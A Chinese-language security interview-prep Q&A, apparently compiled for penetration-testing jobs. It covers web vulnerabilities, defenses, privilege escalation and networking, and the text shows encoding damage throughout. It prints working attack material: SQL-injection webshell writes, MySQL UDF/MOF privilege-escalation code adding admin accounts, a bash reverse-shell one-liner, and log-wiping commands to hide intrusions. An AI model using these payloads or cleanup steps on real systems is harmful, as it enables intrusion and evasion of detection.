1)代碼執?: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function 2)?件讀取: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3)命令執?: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
51、img 標簽除了 onerror 屬性外,還有其他獲取管理員路徑的辦法嗎?
src 指定?個遠程的腳本?件,獲取 referer
52、img 標簽除了 onerror 屬性外,并且 src 屬性的后綴名,必須以. jpg 結尾,怎么獲取管理員路徑。
1)遠程服務器修改 apache 配置?件,配置. jpg ?件以 php ?式來解析 AddType application/x-httpd-php .jpg
會以 php ?式來解析
53、為什么 aspx ??權限? asp ??
aspx 使?的是. net 技術。IIS 中默認不?持,ASP 只是腳本語??已。?侵的時候 asp 的???般是 guest 權限… APSX 的???般是 users 權限。
54、如何繞過 waf?
??寫轉換法 ?擾字符 /*!*/ 編碼 base64 unicode hex url ascll 復參數
55、如何向服務器寫? webshell?
各種上傳漏洞 mysql具有寫?權限,?sql語句寫?shell http put?法
56、滲透測試中常?的端?
a、web 類 (web 漏洞 / 敏感?錄) 第三?通?組件漏洞 struts thinkphp jboss ganglia zabbix
80 web 80-89 web 8000-9090 web
b、數據庫類 (掃描弱?令)
1433 MSSQL 1521 Oracle 3306 MySQL 5432 PostgreSQL
c、特殊服務類 (未授權 / 命令執?類 / 漏洞)
443 SSL?臟滴? 873 Rsync未授權 5984 CouchDB http://xxx:5984/_utils/ 6379 redis未授權 7001,7002 WebLogic默認弱?令,反序列 9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執?漏洞 11211 memcache未授權訪問 27017,27018 Mongodb未授權訪問 50000 SAP命令執? 50070,50030 hadoop默認端?未授權訪問
d、常?端?類 (掃描弱?令 / 端?爆破)
21 ftp 22 SSH 23 Telnet 2601,2604 zebra路由,默認密碼zebra 3389 遠程桌? ALL、端?合計詳情 21 ftp 22 SSH 23 Telnet 80 web 80-89 web 161 SNMP 389 LDAP 443 SSL?臟滴?以及?些web漏洞測試 445 SMB 512,513,514 Rexec 873 Rsync未授權 1025,111 NFS 1433 MSSQL 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel主機管理系統登陸 (國外?較多) 2222 DA虛擬主機管理系統登陸 (國外?較多) 2601,2604 zebra路由,默認密碼zebra 3128 squid代理默認端?,如果沒設置?令很可能就直接漫游內?了 3306 MySQL 3312/3311 kangle主機管理系統登陸 3389 遠程桌? 4440 rundeck 參考WooYun: 借?新浪某服務成功漫游新浪內? 5432 PostgreSQL 5900 vnc 5984 CouchDB http://xxx:5984/_utils/ 6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未授權訪問易導致?站被直接篡改或者作為代理進?內? 6379 redis未授權 7001,7002 WebLogic默認弱?令,反序列 7778 Kloxo主機控制?板登錄 8000-9090 都是?些常?的web端?,有些運維喜歡把管理后臺開在這些?80的端?上 8080 tomcat/WDCP主機管理系統,默認弱?令 8080,8089,9090 JBOSS 8083 Vestacp主機管理系統 (國外?較多) 8649 ganglia 8888 amh/LuManager 主機管理系統默認端? 9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執?漏洞 10000 Virtualmin/Webmin 服務器虛擬主機管理系統 11211 memcache未授權訪問 27017,27018 Mongodb未授權訪問 28017 mongodb統計?? 50000 SAP命令執? 50070,50030 hadoop默認端?未授權訪問
三、深信服??
- 了解哪些漏洞
- ?件上傳有哪些防護?式
- ?什么掃描端?,?錄
- 如何判斷注?
- 注?有防護怎么辦
- 有沒有寫過 tamper
- 3306 1443 8080 是什么端?
- 計算機?絡從物理層到應?層 xxxx
- 有沒有 web 服務開發經驗
- 如何向服務器寫? webshell
- 有沒有?過 xss 平臺
- ?站滲透的流程
- mysql 兩種提權?式(udf,?)
- 常?加密?式 xxx
- ddos 如何防護
- 有沒有抓過包,會不會寫 wireshark 過濾規則
- 清理?志要清理哪些
四、SQL 注?防護
1、使?安全的 API
2、對輸?的特殊字符進? Escape 轉義處理
3、使??名單來規范化輸?驗證?法
4、對客戶端輸?進?控制,不允許輸? SQL 注?相關的特殊字符
5、服務器端在提交數據庫進? SQL 查詢之前,對特殊字符進?過濾、轉義、替換、刪除。
6、規范編碼, 字符集
五、為什么參數化查詢可以防? SQL 注?
原理:
使?參數化查詢數據庫服務器不會把參數的內容當作 sql 指令的?部分來執?,是在數據庫完成 sql 指令的編譯后才套
?參數運?
簡單的說: 參數化能防注?的原因在于, 語句是語句,參數是參數,參數的值并不是語句的?部分,數據庫只按語句的語
義跑
六、SQL 頭注?點
UA REFERER COOKIE IP
七、盲注是什么?怎么盲注?
盲注是在 SQL 注?攻擊過程中,服務器關閉了錯誤回顯,我們單純通過服務器返回內容的變化來判斷是否存在 SQL 注
?和利?的?式。盲注的?段有兩種,?個是通過??的返回內容是否正確 (boolean-based),來驗證是否存在注?。
?個是通過 sql 語句處理時間的不同來判斷是否存在注? (time-based),在這?,可以? benchmark,sleep 等造成延
時效果的函數,也可以通過構造?笛卡?積的聯合查詢表來達到延時的?的。
?、寬字節注?產?原理以及根本原因
1、產?原理
在數據庫使?了寬字符集? WEB 中沒考慮這個問題的情況下,在 WEB 層,由于 0XBF27 是兩個字符,在 PHP 中?如
addslash 和 magic_quotes_gpc 開啟時,由于會對 0x27 單引號進?轉義,因此 0xbf27 會變成 0xbf5c27, ?數據進?
數據庫中時,由于 0XBF5C 是?個另外的字符,因此 轉義符號會被前?的 bf 帶著 "吃掉",單引號由此逃逸出來可以
?來閉合語句。
2、在哪?編碼
3、根本原因
character_set_client(客戶端的字符集) 和 character_set_connection(連接層的字符集) 不同, 或轉換函數如,iconv、
mb_convert_encoding 使?不當。
4、解決辦法
統?數據庫、Web 應?、操作系統所使?的字符集,避免解析產?差異,最好都設置為 UTF-8。或對數據進?正確的轉
義,如 mysql_real_escape_string+mysql_set_charset 的使?。
5、SQL ??只有 update 怎么利?
先理解這句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就實現了注?
a、修改 homepage 值為 http://xxx.net', userlevel='3
之后 SQL 語句變為
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 為?戶級別
b、修改 password 值為 mypass)' WHERE username='admin'#
之后 SQL 語句變為
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
c、修改 id 值為 ' OR username='admin' 之后 SQL 語句變為
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
九、SQL 如何寫 shell / 單引被過濾怎么辦
寫 shell: root 權限,GPC 關閉,知道?件路徑 outfifile 函數
`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\wamp64\www\phpinfo.php' FIELDS TERMINATED BY '
(); ?>'`
`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\w
amp64\www\phpinfo.php'`
寬字節注?
1、代替空格的?法
%0a、%0b、%a0 等 /**/ 等注釋符 <>
2、mysql 的?站注?,5.0 以上和 5.0 以下有什么區別
5 0 以下沒有 information schema 這個系統表 ?法列表名等 只能暴?跑表名。5.0 以下沒有 information_schema 這個系統表,?法列表名等,只能暴?跑表名。
5.0 以下是多?戶單操作,5.0 以上是多?戶多操做。
?、XSS
1、XSS 原理
反射型
?戶提交的數據中可以構造代碼來執?,從?實現竊取?戶信息等攻擊。需要誘使?戶 “點擊” ?個惡意鏈接,才能攻擊成功
存儲型
存儲型 XSS 會把?戶輸?的數據 “存儲” 在服務器端。這種 XSS 具有很強的穩定性。
DOM 型
通過修改??的 DOM 節點形成的 XSS,稱之為 DOM Based XSS。
2、DOM 型和反射型的區別
反射型 XSS:通過誘導?戶點擊,我們構造好的惡意 payload 才會觸發的 XSS。反射型 XSS 的檢測我們在每次請求帶payload 的鏈接時??應該是會帶有特定的畸形數據的。DOM 型:通過修改??的 DOM 節點形成的 XSS。DOM-based XSS 由于是通過 js 代碼進? dom 操作產?的 XSS,所以在請求的響應中我們甚?不?定會得到相應的畸形數據。根本區別在我看來是輸出點的不同。
3、DOM 型和 XSS ?動化測試或??測試
??測試思路:找到類似 document.write、innerHTML 賦值、outterHTML 賦值、window.location 操作、寫 javascript: 后內容、eval、setTimeout 、setInterval 等直接執?之類的函數點。找到其變量,回溯變量來源觀察是否可控,是否經
過安全函數。?動化測試參看道哥的博客,思路是從輸???,觀察變量傳遞的過程,最終檢查是否有在危險函數輸出,中途是否有經過安全函數。但是這樣就需要有?個 javascript 解析器,否則會漏掉?些通過 js 執?帶?的部分內容容。
在回答這段問題的時候,由于平時對客戶的檢測中,基本是憑借不同功能點的功能加上經驗和直覺來進?檢測,對不同類型的 XSS 檢測?式實際上并沒有太過細分的標準化檢測?式,所以回答的很爛。。。
4、如何快速發現 XSS 位置
5、對于 XSS 怎么修補建議
輸?點檢查:對?戶輸?的數據進?合法性檢查,使? fifilter 過濾敏感字符或對進?編碼轉義,針對特定類型數據進?格
式檢查。針對輸?點的檢查最好放在服務器端實現。
輸出點檢查:對變量輸出到 HTML ??中時,對輸出內容進?編碼轉義,輸出在 HTML 中時,對其進?HTMLEncode,如果輸出在 Javascript 腳本中時,對其進? JavascriptEncode。對使? JavascriptEncode 的變量都放在引號中并轉義危險字符,data 部分就?法逃逸出引號外成為 code 的?部分。還可以使?更加嚴格的?法,對所有數字字?之外的字符都使??六進制編碼。此外,要注意在瀏覽器中,HTML 的解析會優先于 Javascript 的解析,編碼的?式也需要考慮清楚,針對不同的輸出點,我們防御 XSS 的?法可能會不同,這點可能在之后的?章會做下總結。除此之外,還有做 HTTPOnly 對 Cookie 劫持做限制。
6、XSS 蠕?的?產條件
正常情況下,?個是產? XSS 點的??不屬于 self ??,?戶之間產?交互?為的??,都可能造成 XSS Worm 的產?。
不?定需要存儲型 XSS
??、CSRF
1、CSRF 原理
CSRF 是跨站請求偽造攻擊,由客戶端發起, 是由于沒有在關鍵操作執?時進?是否由?戶?愿發起的確認
2、防御**
驗證 Referer
添加 token
3、token 和 referer 做橫向對?,誰安全等級??
token 安全等級更?,因為并不是任何服務器都可以取得 referer,如果從 HTTPS 跳到 HTTP,也不會發送 referer。并
且 FLASH ?些版本中可以?定義 referer。但是 token 的話,要保證其?夠隨機且不可泄露。(不可預測性原則)
4、對 referer 的驗證,從什么?度去做?如果做,怎么杜絕問題
對 header 中的 referer 的驗證,?個是空 referer,?個是 referer 過濾或者檢測不完善。為了杜絕這種問題,在驗證的
?名單中,正則規則應當寫完善。
5、針對 token, 對 token 測試會注意哪??被?,會對 token 的哪??進?測試?
引??段請教前輩的回答:
針對token的攻擊,?是對它本身的攻擊,重放測試?次性、分析加密規則、校驗?式是否正確等,?是結合信息泄露漏洞對它的獲取,結合著發起組合攻擊
信息泄露有可能是緩存、?志、get,也有可能是利?跨站
很多跳轉登錄的都依賴token,有?個跳轉漏洞加反射型跨站就可以組合成登錄劫持了
另外也可以結合著其它業務來描述token的安全性及設計不好怎么被繞過?如搶紅包業務之類的
??、SSRF
SSRF(Server-Side Request Forgery: 服務器端請求偽造) 是?種由攻擊者構造形成由服務端發起請求的?個安全漏洞。?般情況下,SSRF 攻擊的?標是從外??法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連?與外?隔離的內部系統)
SSRF 形成的原因?都是由于服務端提供了從其他服務器應?獲取數據的功能且沒有對?標地址做過濾與限制。?如從指
定 URL 地址獲取???本內容,加載指定地址的圖?,下載等等。
1、監測
SSRF 漏洞的驗證?法:
1)因為 SSRF 漏洞是讓服務器發送請求的安全漏洞,所以我們就可以通過抓包分析發送的請求是否是由服務器的發送
的,從?來判斷是否存在 SSRF 漏洞
2)在??源碼中查找訪問的資源地址 ,如果該資源地址類型為 www.baidu.com/xxx.php?image=(地址)的就可能存
在 SSRF 漏洞 4[1]
2、SSRF 漏洞的成因 防御 繞過
成因:模擬服務器對其他服務器資源進?請求,沒有做合法性驗證。利?:構造惡意內? IP 做探測,或者使?其余所?
持的協議對其余服務進?攻擊。防御:禁?跳轉,限制協議,內外?限制,URL 限制。繞過:使?不同協議,針對 IP,
IP 格式的繞過,針對 URL,惡意 URL 增添其他字符,@之類的。301 跳轉 + dns rebindding。
??、上傳
1、?件上傳漏洞原理
由于程序員在對?戶?件上傳部分的控制不?或者處理缺陷,?導致?戶可以越過其本身權限向服務器上傳可執?的動
態腳本?件
2、常?的上傳繞過?式
前端 js 驗證:禁? js/burp 改包
??寫
雙重后綴名
過濾繞過 pphphp->php
3、防護
?件上傳?錄設置為不可執?
使??名單判斷?件上傳類型
?隨機數改寫?件名和路徑
4、審查上傳點的元素有什么意義?
有些站點的上傳?件類型的限制是在前端實現的,這時只要增加上傳類型就能突破限制了。
?三、?件包含
1、原理
引??段?戶能控制的腳本或代碼,并讓服務器端執? include() 等函數通過動態變量的?式引?需要包含的?件;?戶能夠控制該動態變量。
2、導致?件包含的函數
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfifile(), … JSP/Servlet:ava.io.File(),
java.io.Fil-eReader(), … ASP:include fifile, include virtual,
3、本地?件包含
能夠打開并包含本地?件的漏洞,被稱為本地?件包含漏洞
?四、邏輯漏掃
1、?融?業常?邏輯漏洞
單針對?融業務的 主要是數據的篡改 (涉及?融數據,或部分業務的判斷數據),由競爭條件或者設計不當引起的薅?
?,交易 / 訂單信息泄露,?平越權對別?的賬戶查看或惡意操作,交易或業務步驟繞過。
?五、中間?攻擊
中間?攻擊是?個(缺乏)相互認證的攻擊;由于客戶端與服務器之間在 SSL 握?的過程中缺乏相互認證?造成的漏洞
防御中間?攻擊的?案通常基于?下?種技術
- 公鑰基礎建設 PKI 使? PKI 相互認證機制,客戶端驗證服務器,服務器驗證客戶端;上述兩個例?中都是只驗證服務
器,這樣就造成了 SSL 握?環節的漏洞,?如果使?相互認證的的話,基本可以更強?的相互認證
- 延遲測試
使?復雜加密哈希函數進?計算以造成數?秒的延遲;如果雙?通常情況下都要花費 20 秒來計算,并且整個通訊花費了 60 秒計算才到達對?,這就能表明存在第三?中間?。
- 使?其他形式的密鑰交換形式
ARP 欺騙
原理
每臺主機都有?個 ARP 緩存表,緩存表中記錄了 IP 地址與 MAC 地址的對應關系,?局域?數據傳輸依靠的是 MAC
地址。在 ARP 緩存表機制存在?個缺陷,就是當請求主機收到 ARP 應答包后,不會去驗證??是否向對?主機發送過
ARP 請求包,就直接把這個返回包中的 IP 地址與 MAC 地址的對應關系保存進 ARP 緩存表中,如果原有相同 IP 對應關
系,原有的則會被替換。這樣攻擊者就有了偷聽主機傳輸的數據的可能
防護
- 在主機綁定?關 MAC 與 IP 地址為靜態(默認為動態),命令:arp -s ?關 IP ?關 MAC
- 在?關綁定主機 MAC 與 IP 地址
- 使? ARP 防?墻
?六、DDOS
1、DDOS 原理
利?合理的請求造成資源過載,導致服務不可?
syn 洪流的原理
偽造?量的源 IP 地址,分別向服務器端發送?量的 SYN 包,此時服務器端會返回 SYN/ACK 包,因為源地址是偽造的,所以偽造的 IP 并不會應答,服務器端沒有收到偽造 IP 的回應,會重試 3~5 次并且等待?個 SYNTime(?般為 30 秒? 2 分鐘),如果超時則丟棄這個連接。攻擊者?量發送這種偽造源地址的 SYN 請求,服務器端將會消耗?常多的資源(CPU 和內存)來處理這種半連接,同時還要不斷地對這些 IP 進? SYN+ACK 重試。最后的結果是服務器?暇理睬正常的連接請求,導致拒絕服務。
CC 攻擊原理
對?些消耗資源較?的應???不斷發起正常的請求,以達到消耗服務端資源的?的。
2、DOSS 防護
SYN Cookie/SYN Proxy、safereset 等算法。SYN Cookie 的主要思想是為每?個 IP 地址分配?個 “Cookie”,并統計每
個 IP 地址的訪問頻率。如果在短時間內收到?量的來?同?個 IP 地址的數據包,則認為受到攻擊,之后來?這個 IP 地
址的包將被丟棄。
?七、提權
MySQL 兩種提權?式
udf 提權, mof 提權
MySQL_UDF 提取
要求:
- ?標系統是 Windows(Win2000,XP,Win2003);
- 擁有 MYSQL 的某個?戶賬號,此賬號必須有對 mysql 的insert 和 delete 權限以創建和拋棄函數
- 有 root 賬號密碼 導出 udf: MYSQL 5.1 以上版本,必須要把 udf.dll ?件放到 MYSQL 安裝?錄下的 libplugin ?件夾下才能創建?定義函數 可以再 mysql ?輸?
select @@basedir
show variables
like ‘%plugins%’ 尋找 mysql 安裝路徑 提權:
使? SQL 語句創建功能函數。語法:Create Function 函數名(函數名只能為下?列表中的其中之?)returns string soname ‘導出的 DLL 路徑’;
create function cmdshell returns string soname ‘udf.dll’ select cmdshell(‘net user arsch arsch /add’); select cmdshell(‘net localgroup administrators arsch /add’); drop function cmdshell;
該?錄默認是不存在的,這就需要我們使? webshell 找到 MYSQL 的安裝?錄,并在安裝?錄下創建 libplugin ?件夾,然后將 udf.dll ?件導出到該?錄即可。
MySQL mof 提權
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
其中的第 18 ?的命令,上傳前請??更改。
2、執? load_fifile 及 into dumpfifile 把?件導出到正確的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
執?成功后,即可添加?個普通?戶,然后你可以更改命令,再上傳導出執?把?戶提升到管理員權限,然后 3389 連
接之就 ok 了。
??、特殊漏洞
1、Struts2-045
2、Redis 未授權
產?原因
Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公?上,如果在沒有開啟認證的情況下,可以導致任意?戶在可以訪問?標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利? Redis 的相關?法,可以成功在 Redis 服務器上寫?公鑰,進?可以使?對應私鑰直接登錄?標服務器
利?條件和?法
條件:
a、redis 服務以 root 賬戶運?
b、redis ?密碼或弱密碼進?認證c、redis 監聽在 0.0.0.0 公?上
?法:
a、通過 Redis 的 INFO 命令, 可以查看服務器相關的參數和敏感信息, 為攻擊者的后續滲透做鋪墊
b、上傳 SSH 公鑰獲得 SSH 登錄權限
c、通過 crontab 反彈 shell
d、slave 主從模式利?
修復
密碼驗證
降權運?
限制 ip / 修改端?
3、Jenkins 未授權訪問
4、MongoDB 未授權訪問
攻擊者通過未授權訪問進?腳本命令執?界?執?攻擊指令
println "ifconfig -a".execute().text 執??些系統命令, 利? wget 下載 webshell
開啟 MongoDB 服務時不添加任何參數時, 默認是沒有權限驗證的, ?且可以遠程訪問數據庫,登錄的?戶可以通過默認
端??需密碼對數據庫進?增、刪、改、查等任意?危操作。
防護
為 MongoDB 添加認證:
1)MongoDB 啟動時添加–auth 參數
2) 給 MongoDB 添加?戶:use admin #使? admin 庫db.addUser(“root”, “123456”) #添加?戶名 root 密碼 123456 的?戶 db.auth(“root”,“123456”) #驗證下是否添加成功,返回 1 說明成功 2、禁? HTTP 和 REST 端? MongoDB ?身帶有?個 HTTP 服務和并?持 REST 接?。在 2.6 以后這些接?默認是關閉的。mongoDB 默認會使?默認端?監聽 web 服務,?般不需要通過 web ?式進?遠程管理,建議禁?。修改配置?件或在啟動的時候選擇–nohttpinterface 參數 nohttpinterface=false 3、限制綁定 IP 啟動時加?參數 –bind_ip 127.0.0.1 或在 / etc/mongodb.conf ?件中添加以下內容:bind_ip = 127.0.0.1
5、Memcache 未授權訪問
Memcached 是?套常?的 key-value 緩存系統,由于它本身沒有權限控制模塊,所以對公?開放的 Memcache 服務很容易被攻擊者掃描發現,攻擊者通過命令交互可直接讀取 Memcached 中的敏感信息。
利?
a、登錄機器執? netstat -an |more 命令查看端?監聽情況。回顯 0.0.0.0:11211 表示在所有?卡進?監聽,存在
memcached 未授權訪問漏洞。
b、telnet 11211,或 nc -vv 11211,提示連接成功表示漏洞存在
漏洞加固
a、設置 memchached 只允許本地訪問 b、禁?外?訪問 Memcached 11211 端? c、編譯時加上–enable-sasl,啟?
SASL 認證
6、FFMPEG 本地?件讀取
原理
通過調?加密 API 將 payload 加密放??個會被執?的段字節中。但是具體回答?程中我只回答道了 SSRF ?洞,
m3u8 頭,偏移量,加密。
?九、安全知識
1、WEB
常? WEB 開發 JAVA 框架
STRUTS,SPRING 常?的 java 框架漏洞 其實?試官問這個問題的時候我不太清楚他要問什么,我提到 struts 的 045048,java 常?反序列化。045 錯誤處理引?了 ognl 表達式 048 封裝 action 的過程中有?步調? getstackvalue 遞歸獲取 ognl 表達式 反序列化 操作對象,通過?段引?。apache common 的反射機制、readobject 的重寫,其實具體的 我也記不清楚。。。然后這部分就結束了
同源策略
同源策略限制不同源對當前 document 的屬性內容進?讀取或設置。不同源的區分:協議、域名、?域名、IP、端?,
以上有不同時即不同源。
Jsonp 安全攻防技術,怎么寫 Jsonp 的攻擊??
涉及到 Jsonp 的安全攻防內容
JSON 劫持、Callback 可定義、JSONP 內容可定義、Content-type 不為 json。
攻擊??
JSON 劫持,跨域劫持敏感信息,??類似于
function wooyun(v){
alert(v.username);
}
Content-type 不正確情況下,JSONP 和 Callback 內容可定義可造成 XSS。JSONP 和 FLASH 及其他的利?參照知道創宇的 JSONP 安全攻防技術。
2、PHP
php 中命令執?涉及到的函數
代碼執?:eval()、assert()、popen()、system()、exec()、shell_exec()、
passthru(),pcntl_exec(),call_user_func_array(),create_function()?件讀取:fifile_get_contents(),highlight_fifile(),fopen(),read fifile(),fread(),fgetss(),
fgets(),parse_ini_fifile(),show_source(),fifile() 等
命令執?:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
安全模式下繞過 php 的 disable fuction
DL 函數,組件漏洞,環境變量。
PHP 弱類型
== 在進??較的時候,會先將字符串類型轉化成相同,再?較
如果?較?個數字和字符串或者?較涉及到數字內容的字符串,則字符串會被轉換成數值并且?較按照數值來進?
0e 開頭的字符串等于 0
3、數據庫
各種數據庫?件存放的位置
mysql:
/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle: $ORACLE_BASE/oradata/$ORACLE_SID/
4、系統
如何清理?志如何清理?志
meterpreter: clearev
?侵 Linux 服務器后需要清除哪些?志?
web ?志,如 apache 的 access.log,error.log。直接將?志清除過于明顯, ?般使? sed 進?定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history 命令的清除,也是對~/.bash_history 進?定向清除
wtmp ?志的清除,/var/log/wtmp
登錄?志清除 /var/log/secure
LINUX
查看當前端?連接的命令有哪些?netstat 和 ss 命令的區別和優缺點
netstat -antp` `ss -l
ss 的優勢在于它能夠顯示更多更詳細的有關 TCP 和連接狀態的信息,?且? netstat 更快速更?效。
反彈 shell 的常?命令??般常反彈哪?種 shell?為什么?
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
通過 Linux 系統的 / proc ?錄 ,能夠獲取到哪些信息,這些信息可以在安全上有哪些應??
ls /proc
系統信息,硬件信息,內核版本,加載的模塊,進程
linux 系統中,檢測哪些配置?件的配置項,能夠提升 SSH 的安全性。
/etc/ssh/sshd___config iptables 配置
如何?條命令查看?件內容最后?百?
tail -n 100 filename
Windows
如何加固?個域環境下的 Windows 桌??作環境?請給出你的思路。
5、密碼學
AES/DES 的具體?作步驟
RSA 算法
加密:
密?=明? ^EmodN
RSA 加密是對明?的 E 次?后除以 N 后求余數的過程
公鑰=(E,N)
解密:
明?=密? ^DmodN 私鑰=(D,N)
三個參數 n,e1,e2
n 是兩個?質數 p,q 的積
分組密碼的加密模式
如何?成?個安全的隨機數?
引?之前?個學?的答案,可以通過?些物理系統?成隨機數,如電壓的波動、磁盤磁頭讀 / 寫時的尋道時間、空中電磁波的噪聲等。
SSL 握?過程
建? TCP 連接、客戶端發送 SSL 請求、服務端處理 SSL 請求、客戶端發送公共密鑰加密過的隨機數據、服務端?私有
密鑰解密加密后的隨機數據并協商暗號、服務端跟客戶端利?暗號?成加密算法跟密鑰 key、之后正常通信。這部分本
來是忘了的,但是之前看 SSL Pinning 的時候好像記了張圖在腦??,掙扎半天還是沒敢確定,遂放棄。。。
對稱加密與?對稱加密的不同,分別?在哪些??
6、TCP/IP
TCP 三次握?的過程以及對應的狀態轉換
(1)客戶端向服務器端發送?個 SYN 包,包含客戶端使?的端?號和初始序列號 x;
(2)服務器端收到客戶端發送來的 SYN 包后,向客戶端發送?個 SYN 和 ACK 都置位的 TCP 報?,包含確認號 xx1
和服務器端的初始序列號 y;
(3)客戶端收到服務器端返回的 SYNSACK 報?后,向服務器端返回?個確認號為 yy1、序號為 xx1 的 ACK 報?,?個標準的 TCP 連接完成。
TCP 和 UDP 協議區別
tcp ?向連接, udp ?向報? tcp 對系統資源的要求多 udp 結構簡單 tcp 保證數據完整性和順序,udp 不保證
https 的建?過程
a、客戶端發送請求到服務器端
b、服務器端返回證書和公開密鑰,公開密鑰作為證書的?部分?存在
c、客戶端驗證證書和公開密鑰的有效性,如果有效,則?成共享密鑰并使?公開密鑰加密發送到服務器端
d、服務器端使?私有密鑰解密數據,并使?收到的共享密鑰加密數據,發送到客戶端
e、客戶端使?共享密鑰解密數據
f SSL 加密建?f、SSL 加密建?
7、流量分析
wireshark 簡單的過濾規則
過濾 ip:
過濾源 ip 地址: ip.src==1.1.1.1; , ?的 ip 地址: ip.dst==1.1.1.1;
過濾端?:
過濾 80 端?: tcp.port==80 , 源端?: tcp.srcport==80 , ?的端?: tcp.dstport==80
協議過濾:
直接輸?協議名即可, 如 http 協議 https
http 模式過濾:
過濾 get/post 包 http.request.mothod=="GET/POST"
8、防?墻
簡述路由器交換機、防?墻等?絡設備常?的?個基礎配置加固項,以及配置?法。